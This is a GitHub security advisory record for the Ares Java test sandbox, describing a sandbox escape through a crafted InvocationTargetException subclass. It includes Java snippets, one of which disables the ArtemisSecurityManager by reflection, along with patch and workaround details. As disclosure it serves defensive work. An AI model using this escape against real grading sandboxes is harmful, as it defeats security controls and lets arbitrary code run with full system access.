{"id":"GHSA-883x-6fch-6wjx","summary":"Trust Boundary Violation due to Incomplete Blacklist in Test Failure Processing in Ares","details":"### Impact\nThis allows an attacker to create special subclasses of `InvocationTargetException` that escape the exception sanitization because JUnit extracts the cause in a trusted context before the exception reaches Ares. This means that arbitrary student code can be executed in a trusted context, and that in turn allows disabling Ares and having full control over the system.\n\n### Patches\nUpdate to version `1.7.6` or later.\n\n### Workarounds\nForbid student classes in trusted packages like, e.g., described in https://github.com/ls1intum/Ares/issues/15#issuecomment-996449371\n\n### References\n_Are there any links users can visit to find out more?_\nNot that I know of.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in https://github.com/ls1intum/Ares/issues\n* Email us, see https://github.com/ls1intum/Ares/security/policy\n\n### Detailed description\nUsing generics, it is possible to throw checked exceptions without a `throws` clause:\n\u003cdetails\u003e\n\u003csummary\u003eThrowWithoutThrowsHelper\u003c/summary\u003e\n\n```java\npublic class ThrowWithoutThrowsHelper\u003cX extends Throwable\u003e\n{\n    private final X throwable;\n\n    private ThrowWithoutThrowsHelper(X throwable)\n    {\n        this.throwable = throwable;\n    }\n\n    private \u003cR\u003e R throwWithThrows() throws X\n    {\n        throw throwable;\n    }\n\n    public static \u003cR\u003e R throwWithoutThrows(Throwable throwable)\n    {\n        ThrowWithoutThrowsHelper\u003c?\u003e helper = new ThrowWithoutThrowsHelper\u003cThrowable\u003e(throwable);\n        @SuppressWarnings(\"unchecked\")\n        ThrowWithoutThrowsHelper\u003cRuntimeException\u003e helperCasted = (ThrowWithoutThrowsHelper\u003cRuntimeException\u003e) helper;\n        return helperCasted.throwWithThrows();\n    }\n}\n```\n\u003c/details\u003e\n\nUsing this, it is possible for a malicious testee to throw an instance of a malicious subclass of `InvocationTargetException` (let's call it `EvilInvocationTargetException`).\n\nThis exception is catched by `org.junit.platform.commons.util.ReflectionUtils::invokeMethod`, which looks like this:\n\u003cdetails\u003e\n\u003csummary\u003eReflectionUtils::invokeMethod\u003c/summary\u003e\n\n```java\n    public static Object invokeMethod(Method method, Object target, Object... args) {\n        Preconditions.notNull(method, \"Method must not be null\");\n        Preconditions.condition((target != null || isStatic(method)),\n            () -\u003e String.format(\"Cannot invoke non-static method [%s] on a null target.\", method.toGenericString()));\n\n        try {\n            return makeAccessible(method).invoke(target, args);\n        }\n        catch (Throwable t) {\n            throw ExceptionUtils.throwAsUncheckedException(getUnderlyingCause(t));\n        }\n    }\n```\n\u003c/details\u003e\n\nThis method calls `getUnderlyingCause` (of the same class), passing to it the catched, malicious exception as an argument.\n\u003cdetails\u003e\n\u003csummary\u003eReflectionUtils::getUnderlyingCause\u003c/summary\u003e\n\n```java\n    private static Throwable getUnderlyingCause(Throwable t) {\n        if (t instanceof InvocationTargetException) {\n            return getUnderlyingCause(((InvocationTargetException) t).getTargetException());\n        }\n        return t;\n    }\n```\n\u003c/details\u003e\n\n`getUnderlyingCause` in turn checks if the passed exception is `instanceof InvocationTargetException`, and if so, calls `getTargetException` on it. `getTargetException` can be overridden by subclasses of `InvocationTargetException`, like the `EvilInvocationTargetException`.\nIf `EvilInvocationTargetException` is in a whitelisted package (for example `de.tum.in.test.api.security.notsealedsubpackage`), `getTargetException` will be called with the entire stack containing only whitelisted frames.\nThis allows the attacker to uninstall the `ArtemisSecurityManager` in `EvilInvocationTargetException::getTargetException`:\n\u003cdetails\u003e\n\u003csummary\u003eUninstalling ArtemisSecurityManager\u003c/summary\u003e\n\n```java\n\nSecurityManager secman = System.getSecurityManager();\nClass\u003c?\u003e aresSecmanClass = secman.getClass();\nField isPartlyDisabledF = aresSecmanClass.getDeclaredField(\"isPartlyDisabled\");\nisPartlyDisabledF.setAccessible(true);\nisPartlyDisabledF.set(secman, true);\nSystem.setSecurityManager(null);\n```\n\u003c/details\u003e\n\nAfter uninstalling `ArtemisSecurityManager`, the attacker is free to do anything expressible in Java; including reading and writing any files, opening network connections, and executing arbitrary shell commands.","aliases":["CVE-2024-23683"],"modified":"2026-05-06T12:44:55.776496092Z","published":"2022-01-21T23:39:19Z","database_specific":{"github_reviewed_at":"2022-01-18T22:55:47Z","nvd_published_at":null,"cwe_ids":[],"severity":"HIGH","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/ls1intum/Ares/security/advisories/GHSA-883x-6fch-6wjx"},{"type":"WEB","url":"https://github.com/ls1intum/Ares/issues/15#issuecomment-996449371"},{"type":"WEB","url":"https://github.com/ls1intum/Ares/commit/af4f28a56e2fe600d8750b3b415352a0a3217392"},{"type":"PACKAGE","url":"https://github.com/ls1intum/Ares"},{"type":"WEB","url":"https://github.com/ls1intum/Ares/releases/tag/1.7.6"}],"affected":[{"package":{"name":"de.tum.in.ase:artemis-java-test-sandbox","ecosystem":"Maven","purl":"pkg:maven/de.tum.in.ase/artemis-java-test-sandbox"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.7.6"}]}],"versions":["1.0.0","1.0.1","1.1.0","1.1.1","1.2.0","1.2.1","1.2.2","1.3.0","1.3.1","1.3.2","1.3.3","1.3.4","1.4.0","1.4.1","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.5.0","1.5.1","1.5.2","1.5.3","1.5.4","1.5.5","1.6.0","1.7.0","1.7.1","1.7.2","1.7.3","1.7.5"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2022/01/GHSA-883x-6fch-6wjx/GHSA-883x-6fch-6wjx.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H"}]}